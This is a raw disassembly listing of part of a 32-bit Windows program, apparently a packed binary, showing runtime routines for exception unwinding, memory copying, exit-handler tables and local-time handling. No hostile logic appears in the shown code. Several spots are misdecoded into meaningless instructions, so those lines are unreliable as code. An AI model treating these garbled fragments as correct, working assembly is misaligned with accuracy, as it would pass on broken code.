		call	sub_4265EE	; RtlUnwind


loc_41CF98:				; DATA XREF: sub_41CF70+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41CF70	endp

; ---------------------------------------------------------------------------


loc_41CFBF:				; CODE XREF: .nsp0:00426C90j
					; .nsp0:00426CADj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421B7B
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF5	proc near		; CODE XREF: sub_421FF1+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D049
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422380
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41CFF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D049	proc near		; DATA XREF: sub_41CFF5+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421B7B
		add	esp, 20h
		pop	ebp
		retn
sub_41D049	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D06E	proc near		; CODE XREF: sub_421DBD+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D122
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D0F4
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4E15A0
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D0F4:				; DATA XREF: sub_41D06E+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D111
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D11A
; ---------------------------------------------------------------------------


loc_41D111:				; CODE XREF: sub_41D06E+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D11A:				; CODE XREF: sub_41D06E+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D06E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D122	proc near		; DATA XREF: sub_41D06E+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D145
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D192
; ---------------------------------------------------------------------------


loc_41D145:				; CODE XREF: sub_41D122+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421B7B
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D183
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CF70


loc_41D183:				; CODE XREF: sub_41D122+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D192:				; CODE XREF: sub_41D122+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D197	proc near		; CODE XREF: sub_421C16+C6p
					; sub_421DBD+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D1EE


loc_41D1B5:				; CODE XREF: sub_41D197+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D1BF
		call	sub_422422


loc_41D1BF:				; CODE XREF: sub_41D197+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D1D4
		cmp	ecx, [eax+8]
		jle	short loc_41D1D9


loc_41D1D4:				; CODE XREF: sub_41D197+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D1E5


loc_41D1D9:				; CODE XREF: sub_41D197+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D1E5:				; CODE XREF: sub_41D197+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D1B5
		mov	eax, [ebp+var_4]


loc_41D1EE:				; CODE XREF: sub_41D197+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D202
		cmp	esi, eax
		jbe	short loc_41D207


loc_41D202:				; CODE XREF: sub_41D197+65j
		call	sub_422422


loc_41D207:				; CODE XREF: sub_41D197+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D197	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D214	proc near		; CODE XREF: sub_4233D4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D22C
		push	[ebp+arg_0]
		call	sub_4265EE	; RtlUnwind


loc_41D22C:				; DATA XREF: sub_41D214+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D214	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D234	proc near		; DATA XREF: sub_41D256+Ao
					; sub_41D2BE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D255
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D255:				; CODE XREF: sub_41D234+10j
		retn
sub_41D234	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D256	proc near		; CODE XREF: sub_422097+Dp
					; sub_4233D4+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D234
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D273:				; CODE XREF: sub_41D256:loc_41D2AEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D2B0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D2B0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D2AE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D2EA
		call	dword ptr [ebx+esi*4+8]


loc_41D2AE:				; CODE XREF: sub_41D256+44j
		jmp	short loc_41D273
; ---------------------------------------------------------------------------


loc_41D2B0:				; CODE XREF: sub_41D256+2Aj
					; sub_41D256+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D256	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2BE	proc near		; CODE XREF: sub_4220B7+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D234
		jnz	short locret_41D2E0
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D2E0
		mov	eax, 1

locret_41D2E0:				; CODE XREF: sub_41D2BE+10j
					; sub_41D2BE+1Bj
		retn
sub_41D2BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2E1	proc near		; CODE XREF: sub_422380+1Ep
					; sub_422380+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44253C
		jmp	short loc_41D2F4
sub_41D2E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2EA	proc near		; CODE XREF: sub_41D256+4Fp
					; sub_4233D4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44253C
		mov	ecx, [ebp+8]


loc_41D2F4:				; CODE XREF: sub_41D2E1+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D2EA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41D304	proc near		; CODE XREF: sub_40CF88+5p
					; sub_40D12A+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D304	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D323	proc near		; CODE XREF: sub_40D5C9+26p
					; .nsp0:004263C5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B961
		pop	ecx
		retn
sub_41D323	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D330	proc near		; CODE XREF: sub_40D63A+3Ap
					; sub_41E3D2+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D350
		cmp	edi, eax
		jb	loc_41D4C8


loc_41D350:				; CODE XREF: sub_41D330+16j
		test	edi, 3
		jnz	short loc_41D36C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	off_41D478[edx*4]
; ---------------------------------------------------------------------------


loc_41D36C:				; CODE XREF: sub_41D330+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D384
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D38C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D384:				; CODE XREF: sub_41D330+46j
		jmp	dword ptr loc_41D488[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D38C:				; CODE XREF: sub_41D330+31j
					; sub_41D330+8Ej ...
		jmp	off_41D40C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D3A0
		dd offset loc_41D3CC
		dd offset loc_41D3F0
; ---------------------------------------------------------------------------


loc_41D3A0:				; DATA XREF: sub_41D330+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D3CC:				; DATA XREF: sub_41D330+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D3F0:				; DATA XREF: sub_41D330+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D40C	dd offset loc_41D46F	; DATA XREF: sub_41D330:loc_41D38Cr
		dd offset loc_41D45C
		dd offset loc_41D454
		dd offset loc_41D44C
		dd offset loc_41D444
		dd offset loc_41D43C
		dd offset loc_41D434
		dd offset loc_41D42C
; ---------------------------------------------------------------------------


loc_41D42C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D434:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D43C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D444:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D44C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D454:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D45C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D46F:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330:off_41D40Co
		jmp	off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D478	dd offset loc_41D488	; DATA XREF: sub_41D330+35r
					; sub_41D330+92r ...
		dd offset loc_41D490
		dd offset loc_41D49C
		dd offset loc_41D4B0
; ---------------------------------------------------------------------------


loc_41D488:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D490:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D49C:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D4B0:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D4C8:				; CODE XREF: sub_41D330+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D4FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D4F0:				; CODE XREF: sub_41D330+1B1j
					; sub_41D330+208j ...
		neg	ecx
		jmp	off_41D5C0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D4FC:				; CODE XREF: sub_41D330+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D514
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D514+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D514:				; CODE XREF: sub_41D330+1D6j
					; DATA XREF: sub_41D330+1DDr
		jmp	off_41D610[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sub	ch, dl
		inc	ecx
		add	[eax-2Bh], cl
		inc	ecx
		add	[eax-2Bh], dh
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D4F0
		std
		rep movsd
		cld
		jmp	off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D5C4
		dd offset loc_41D5CC
		dd offset loc_41D5D4
		dd offset loc_41D5DC
		dd offset loc_41D5E4
		dd offset loc_41D5EC
		dd offset loc_41D5F4
off_41D5C0	dd offset loc_41D607	; DATA XREF: sub_41D330+1C2r
; ---------------------------------------------------------------------------


loc_41D5C4:				; DATA XREF: sub_41D330+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D5CC:				; DATA XREF: sub_41D330+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D5D4:				; DATA XREF: sub_41D330+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D5DC:				; DATA XREF: sub_41D330+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D5E4:				; DATA XREF: sub_41D330+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D5EC:				; DATA XREF: sub_41D330+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D5F4:				; DATA XREF: sub_41D330+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D607:				; CODE XREF: sub_41D330+1C2j
					; DATA XREF: sub_41D330:off_41D5C0o
		jmp	off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D610	dd offset loc_41D620	; DATA XREF: sub_41D330+1B7r
					; sub_41D330:loc_41D514r ...
		dd offset loc_41D628
		dd offset loc_41D638
		dd offset loc_41D64C
; ---------------------------------------------------------------------------


loc_41D620:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D628:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D638:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D64C:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D330	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D665	proc near		; CODE XREF: sub_40D6A1+34p
					; sub_40D6A1+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BBDD
		pop	ecx
		pop	ecx
		retn
sub_41D665	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D673	proc near		; CODE XREF: sub_41D6E0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4E2B94
		call	sub_422478
		mov	edx, dword_4E2B94
		pop	ecx
		mov	ecx, dword_4E2B90
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D6D2
		push	edx
		call	sub_422478
		add	eax, 10h
		push	eax
		push	dword_4E2B94
		call	sub_41BA78
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D6B5
		retn
; ---------------------------------------------------------------------------


loc_41D6B5:				; CODE XREF: sub_41D673+3Fj
		mov	ecx, dword_4E2B90
		sub	ecx, dword_4E2B94
		mov	dword_4E2B94, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4E2B90, ecx


loc_41D6D2:				; CODE XREF: sub_41D673+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4E2B90, 4
		retn
sub_41D673	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6E0	proc near		; CODE XREF: sub_40D78E+1Ap
					; sub_4265CE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D673
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D6E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6F2	proc near		; DATA XREF: .nsp0:00429024o
		push	80h
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	dword_4E2B94, eax
		jnz	short loc_41D713
		push	18h
		call	sub_41E0F9
		mov	eax, dword_4E2B94
		pop	ecx


loc_41D713:				; CODE XREF: sub_41D6F2+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4E2B94
		mov	dword_4E2B90, eax
		retn
sub_41D6F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D721	proc near		; CODE XREF: .nsp0:0040DD86p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_427130	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0B40000h
		sbb	eax, 0EA458B66h
		cmp	ax, word_4E1562
		jnz	short loc_41D786
		mov	ax, [ebp+var_18]
		cmp	ax, word_4E1560
		jnz	short loc_41D786
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4E155E
		jnz	short loc_41D786
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4E155A
		jnz	short loc_41D786
		mov	ax, [ebp+var_20]
		cmp	ax, word_4E1558
		jnz	short loc_41D786
		mov	eax, dword_4E1550
		jmp	short loc_41D7CB
; ---------------------------------------------------------------------------


loc_41D786:				; CODE XREF: sub_41D721+28j
					; sub_41D721+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 0B40000h
		stosd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D7B3
		cmp	eax, 2
		jnz	short loc_41D7AF
		cmp	[ebp+var_32], 0
		jz	short loc_41D7AF
		cmp	[ebp+var_24], 0
		jz	short loc_41D7AF
		push	1
		pop	eax
		jmp	short loc_41D7B6
; ---------------------------------------------------------------------------


loc_41D7AF:				; CODE XREF: sub_41D721+7Aj
					; sub_41D721+81j ...
		xor	eax, eax
		jmp	short loc_41D7B6
; ---------------------------------------------------------------------------


loc_41D7B3:				; CODE XREF: sub_41D721+75j
		or	eax, 0FFFFFFFFh


loc_41D7B6:				; CODE XREF: sub_41D721+8Cj
					; sub_41D721+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4E1558
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4E1550, eax
		pop	esi


loc_41D7CB:				; CODE XREF: sub_41D721+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_4224A1
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D7FB
		mov	[ecx], eax

locret_41D7FB:				; CODE XREF: sub_41D721+D6j
		leave
		retn
sub_41D721	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D800	proc near		; CODE XREF: .nsp0:0040DBEBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
